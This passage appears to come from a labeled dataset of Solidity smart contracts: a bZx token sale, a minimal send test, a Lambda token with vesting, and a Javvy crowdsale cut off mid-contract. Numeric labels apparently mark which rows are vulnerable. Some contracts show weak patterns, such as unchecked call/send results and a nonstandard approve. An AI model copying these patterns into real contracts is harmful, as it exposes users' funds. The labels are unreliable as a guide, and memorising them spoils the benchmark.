bZRxTokenContractAddress = _bZRxTokenContractAddress;
bZxVaultAddress = _bZxVaultAddress;
wethContractAddress = _wethContractAddress;
priceContractAddress = _priceContractAddress;
bonusMultiplier = _bonusMultiplier;
}
function()
public
payable
{
buyToken();
}
function buyToken()
public
payable
saleOpen
whitelisted(msg.sender, msg.value)
returns (bool)
{
require(msg.value > 0, "no ether sent");
uint ethRate = getEthRate();
ethRaised += msg.value;
uint tokenAmount = msg.value
.mul(ethRate).div(10**18)
.mul(1000).div(73);
uint tokenAmountAndBonus = tokenAmount
.mul(bonusMultiplier).div(100);
TokenPurchases storage purchase = purchases[msg.sender];
if (purchase.totalETH == 0) {
purchasers.push(msg.sender);
}
purchase.totalETH += msg.value;
purchase.totalTokens += tokenAmountAndBonus;
purchase.totalTokenBonus += tokenAmountAndBonus.sub(tokenAmount);
emit TokenPurchase(msg.sender, msg.value, ethRate, tokenAmountAndBonus);
return BZRxToken(bZRxTokenContractAddress).mint(
msg.sender,
tokenAmountAndBonus
);
}
function transferFrom(
address _from,
address _to,
uint256 _value)
public
saleOpen
returns (bool)
{
require(msg.sender == bZxVaultAddress, "only the bZx vault can call this function");
if (BZRxToken(bZRxTokenContractAddress).canTransfer(msg.sender, _from, _value)) {
return BZRxToken(bZRxTokenContractAddress).minterTransferFrom(
msg.sender,
_from,
_to,
_value
);
} else {
uint ethRate = getEthRate();
uint wethValue = _value
.mul(73).div(1000)
.mul(10**18).div(ethRate);
wethValue -= wethValue.mul(bonusMultiplier).div(100).sub(wethValue);
require(canPurchaseAmount(_from, wethValue), "not whitelisted");
require(StandardToken(wethContractAddress).transferFrom(
_from,
this,
wethValue
), "weth transfer failed");
ethRaised += wethValue;
TokenPurchases storage purchase = purchases[_from];
if (purchase.totalETH == 0) {
purchasers.push(_from);
}
purchase.totalETH += wethValue;
purchase.totalTokens += _value;
return BZRxToken(bZRxTokenContractAddress).mint(
_to,
_value
);
}
}
function closeSale(
bool _closed)
public
onlyOwner
returns (bool)
{
saleClosed = _closed;
if (_closed)
emit SaleClosed(bonusMultiplier);
else
emit SaleOpened(bonusMultiplier);
return true;
}
function changeBZRxTokenContract(
address _bZRxTokenContractAddress)
public
onlyOwner
returns (bool)
{
bZRxTokenContractAddress = _bZRxTokenContractAddress;
return true;
}
function changeBZxVault(
address _bZxVaultAddress)
public
onlyOwner
returns (bool)
{
bZxVaultAddress = _bZxVaultAddress;
return true;
}
function changeWethContract(
address _wethContractAddress)
public
onlyOwner
returns (bool)
{
wethContractAddress = _wethContractAddress;
return true;
}
function changePriceContract(
address _priceContractAddress)
public
onlyOwner
returns (bool)
{
priceContractAddress = _priceContractAddress;
return true;
}
function changeBonusMultiplier(
uint _newBonusMultiplier)
public
onlyOwner
returns (bool)
{
require(bonusMultiplier != _newBonusMultiplier && _newBonusMultiplier > 100);
emit BonusChanged(bonusMultiplier, _newBonusMultiplier);
bonusMultiplier = _newBonusMultiplier;
return true;
}
function unwrapEth()
public
onlyOwner
returns (bool)
{
uint balance = StandardToken(wethContractAddress).balanceOf.gas(4999)(this);
if (balance == 0)
return false;
WETHInterface(wethContractAddress).withdraw(balance);
return true;
}
function transferEther(
address _to,
uint _value)
public
onlyOwner
returns (bool)
{
uint amount = _value;
if (amount > address(this).balance) {
amount = address(this).balance;
}
return (_to.send(amount));
}
function enforceWhitelist(
bool _isEnforced)
public
onlyOwner
returns (bool)
{
whitelistEnforced = _isEnforced;
return true;
}
function setWhitelist(
address[] _users,
uint[] _values)
public
onlyOwner
returns (bool)
{
require(_users.length == _values.length, "users and values count mismatch");
for (uint i=0; i < _users.length; i++) {
whitelist[_users[i]] = _values[i];
}
return true;
}
function getEthRate()
public
view
returns (uint)
{
return uint(PriceFeed(priceContractAddress).read());
}
function canPurchaseAmount(
address _user,
uint _value)
public
view
returns (bool)
{
if (!whitelistEnforced || (whitelist[_user] > 0 && purchases[_user].totalETH.add(_value) <= whitelist[_user])) {
return true;
} else {
return false;
}
}
} | 1 | 3,508 |
pragma solidity >=0.7.0;
contract testSend {
function doSend(address payable _to, uint256 _amountETH) public {
_to.call{value: _amountETH}("");
_to.send(_amountETH);
_to.transfer(_amountETH);
}
receive() external payable {}
} | 1 | 3,363 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _who) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _fromValue,uint256 _toValue) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
contract Lambda is ERC20, Pausable {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
constructor() public {
symbol = "LAMB";
name = "Lambda";
decimals = 18;
_totalSupply = 6*(10**27);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _fromValue, uint256 _toValue) public whenNotPaused returns (bool) {
require(_spender != address(0));
require(allowed[msg.sender][_spender] ==_fromValue);
allowed[msg.sender][_spender] = _toValue;
emit Approval(msg.sender, _spender, _toValue);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract LambdaLock {
using SafeMath for uint256;
Lambda internal LambdaToken;
uint256 internal genesisTime= 1545872400;
uint256 internal ONE_MONTHS = 2592000;
address internal beneficiaryAddress;
struct Claim {
uint256 pct;
uint256 delay;
bool claimed;
}
Claim [] internal beneficiaryClaims;
uint256 internal totalClaimable;
event Claimed(
address indexed user,
uint256 amount,
uint256 timestamp
);
function claim() public returns (bool){
require(msg.sender == beneficiaryAddress);
for(uint256 i = 0; i < beneficiaryClaims.length; i++){
Claim memory cur_claim = beneficiaryClaims[i];
if(cur_claim.claimed == false){
if(cur_claim.delay.add(genesisTime) < block.timestamp){
uint256 amount = cur_claim.pct*(10**18);
require(LambdaToken.transfer(msg.sender, amount));
beneficiaryClaims[i].claimed = true;
emit Claimed(msg.sender, amount, block.timestamp);
}
}
}
}
function getBeneficiary() public view returns (address) {
return beneficiaryAddress;
}
function getTotalClaimable() public view returns (uint256) {
return totalClaimable;
}
}
contract lambdaFound is LambdaLock {
using SafeMath for uint256;
constructor(Lambda _LambdaToken) public {
LambdaToken = _LambdaToken;
beneficiaryAddress = 0xb2AC97941a1c610f73E68b3969CdC886a2EA5491 ;
totalClaimable = 2000000000 * (10 ** 18);
for(uint i=0;i<24;i++){
beneficiaryClaims.push(Claim( 83333333, ONE_MONTHS*(i+1), false));
}
}
} | 0 | 641 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
bool ownerValid = ownerCount <= MAX_OWNER_COUNT;
bool ownerNotZero = ownerCount != 0;
bool requiredValid = _required <= ownerCount;
bool requiredNotZero = _required != 0;
require(ownerValid && ownerNotZero && requiredValid && requiredNotZero);
_;
}
function() payable public {
fallback();
}
function fallback() payable public {
if (msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
constructor(
address[] _owners,
uint _required
) public validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
function isConfirmed(uint transactionId) public view returns (bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
data : data,
executed : false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId) public view returns (uint count) {
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
}
}
function getTransactionCount(
bool pending,
bool executed
) public view returns (uint count) {
for (uint i = 0; i < transactionCount; i++) {
if (pending &&
!transactions[i].executed ||
executed &&
transactions[i].executed
) {
count += 1;
}
}
}
function getOwners() public view returns (address[]) {
return owners;
}
function getConfirmations(
uint transactionId
) public view returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(
uint from,
uint to,
bool pending,
bool executed
) public view returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending &&
!transactions[i].executed ||
executed &&
transactions[i].executed
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract JavvyMultiSig is MultiSigWallet {
constructor(
address[] _owners,
uint _required
)
MultiSigWallet(_owners, _required)
public {}
}
contract Config {
uint256 public constant jvySupply = 333333333333333;
uint256 public constant bonusSupply = 83333333333333;
uint256 public constant saleSupply = 250000000000000;
uint256 public constant hardCapUSD = 8000000;
uint256 public constant preIcoBonus = 25;
uint256 public constant minimalContributionAmount = 0.4 ether;
function getStartPreIco() public view returns (uint256) {
uint256 _preIcoStartTime = block.timestamp + 1 minutes;
return _preIcoStartTime;
}
function getStartIco() public view returns (uint256) {
uint256 _icoStartTime = block.timestamp + 2 minutes;
return _icoStartTime;
}
function getEndIco() public view returns (uint256) {
uint256 _icoEndTime = 1556668799;
return _icoEndTime;
}
}
contract JavvyToken is DetailedERC20, StandardToken, Ownable, Config {
address public crowdsaleAddress;
address public bonusAddress;
address public multiSigAddress;
constructor(
string _name,
string _symbol,
uint8 _decimals
) public
DetailedERC20(_name, _symbol, _decimals) {
require(
jvySupply == saleSupply + bonusSupply,
"Sum of provided supplies is not equal to declared total Javvy supply. Check config!"
);
totalSupply_ = tokenToDecimals(jvySupply);
}
function initializeBalances(
address _crowdsaleAddress,
address _bonusAddress,
address _multiSigAddress
) public
onlyOwner() {
crowdsaleAddress = _crowdsaleAddress;
bonusAddress = _bonusAddress;
multiSigAddress = _multiSigAddress;
_initializeBalance(_crowdsaleAddress, saleSupply);
_initializeBalance(_bonusAddress, bonusSupply);
}
function _initializeBalance(address _address, uint256 _supply) private {
require(_address != address(0), "Address cannot be equal to 0x0!");
require(_supply != 0, "Supply cannot be equal to 0!");
balances[_address] = tokenToDecimals(_supply);
emit Transfer(address(0), _address, _supply);
}
function tokenToDecimals(uint256 _amount) private view returns (uint256){
return _amount * (10 ** 12);
}
function getRemainingSaleTokens() external view returns (uint256) {
return balanceOf(crowdsaleAddress);
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State {Active, Refunding, Closed}
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract JavvyCrowdsale is RefundableCrowdsale, CappedCrowdsale, Pausable, Config {
uint256 public icoStartTime;
address public transminingAddress;
address public bonusAddress;
uint256 private USDETHRate;
mapping(address => bool) public blacklisted;
JavvyToken token;
enum Stage {
NotStarted,
PreICO,
ICO,
AfterICO
}
function getStage() public view returns (Stage) {
uint256 blockTime = block.timestamp;
if (blockTime < openingTime) return Stage.NotStarted;
if (blockTime < icoStartTime) return Stage.PreICO;
if (blockTime < closingTime) return Stage.ICO;
else return Stage.AfterICO;
}
constructor(
uint256 _rate,
JavvyMultiSig _wallet,
JavvyToken _token,
uint256 _cap,
uint256 _goal,
address _bonusAddress,
address[] _blacklistAddresses,
uint256 _USDETHRate
)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(getStartPreIco(), getEndIco())
RefundableCrowdsale(_goal)
public {
require(getStartIco() > block.timestamp, "ICO has to begin in the future");
require(getEndIco() > block.timestamp, "ICO has to end in the future");
require(_goal <= _cap, "Soft cap should be equal or smaller than hard cap");
icoStartTime = getStartIco();
bonusAddress = _bonusAddress;
token = _token;
for (uint256 i = 0; i < _blacklistAddresses.length; i++) {
blacklisted[_blacklistAddresses[i]] = true;
}
setUSDETHRate(_USDETHRate);
weiRaised = 46461161522138564065713;
}
function buyTokens(address _beneficiary) public payable {
require(!blacklisted[msg.sender], "Sender is blacklisted");
bool preallocated = false;
uint256 preallocatedTokens = 0;
_buyTokens(
_beneficiary,
msg.sender,
msg.value,
preallocated,
preallocatedTokens
);
}
function bulkPreallocate(address[] _owners, uint256[] _tokens, uint256[] _paid)
public
onlyOwner() {
require(
_owners.length == _tokens.length,
"Lengths of parameter lists have to be equal"
);
require(
_owners.length == _paid.length,
"Lengths of parameter lists have to be equal"
);
for (uint256 i = 0; i < _owners.length; i++) {
preallocate(_owners[i], _tokens[i], _paid[i]);
}
}
function preallocate(address _owner, uint256 _tokens, uint256 _paid)
public
onlyOwner() {
require(!blacklisted[_owner], "Address where tokens will be sent is blacklisted");
bool preallocated = true;
uint256 preallocatedTokens = _tokens;
_buyTokens(
_owner,
_owner,
_paid,
preallocated,
preallocatedTokens
);
}
function setTransminingAddress(address _transminingAddress) public
onlyOwner() {
transminingAddress = _transminingAddress;
}
function moveTokensToTransmining(uint256 _amount) public
onlyOwner() {
uint256 remainingTokens = token.getRemainingSaleTokens();
require(
transminingAddress != address(0),
"Transmining address must be set!"
);
require(
remainingTokens >= _amount,
"Balance of remaining tokens for sale is smaller than requested amount for trans-mining"
);
uint256 weiNeeded = cap - weiRaised;
uint256 tokensNeeded = weiNeeded * rate;
if (getStage() != Stage.AfterICO) {
require(remainingTokens - _amount > tokensNeeded, "You need to leave enough tokens to reach hard cap");
}
_deliverTokens(transminingAddress, _amount, this);
}
function _buyTokens(
address _beneficiary,
address _sender,
uint256 _value,
bool _preallocated,
uint256 _tokens
) internal
whenNotPaused() {
uint256 tokens;
if (!_preallocated) {
require(
_value >= minimalContributionAmount,
"Amount contributed should be greater than required minimal contribution"
);
require(_tokens == 0, "Not preallocated tokens should be zero");
_preValidatePurchase(_beneficiary, _value);
} else {
require(_tokens != 0, "Preallocated tokens should be greater than zero");
require(weiRaised.add(_value) <= cap, "Raised tokens should not exceed hard cap");
}
if (!_preallocated) {
tokens = _getTokenAmount(_value);
} else {
tokens = _tokens;
}
weiRaised = weiRaised.add(_value);
_processPurchase(_beneficiary, tokens, this);
emit TokenPurchase(
_sender,
_beneficiary,
_value,
tokens
);
_updatePurchasingState(_beneficiary, _value);
_forwardFunds();
if (!_preallocated) {
_postValidatePurchase(_beneficiary, _value);
}
}
function _getBaseTokens(uint256 _value) internal view returns (uint256) {
return _value.mul(rate);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256) {
uint256 baseTokens = _getBaseTokens(_weiAmount);
if (getStage() == Stage.PreICO) {
return baseTokens.mul(100 + preIcoBonus).div(100);
} else {
return baseTokens;
}
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount,
address _sourceAddress
) internal {
_deliverTokens(_beneficiary, _tokenAmount, _sourceAddress);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount,
address _sourceAddress
) internal {
if (_sourceAddress == address(this)) {
token.transfer(_beneficiary, _tokenAmount);
} else {
token.transferFrom(_sourceAddress, _beneficiary, _tokenAmount);
}
}
function finalization() internal {
require(
transminingAddress != address(0),
"Transmining address must be set!"
);
super.finalization();
_deliverTokens(transminingAddress, token.getRemainingSaleTokens(), this);
}
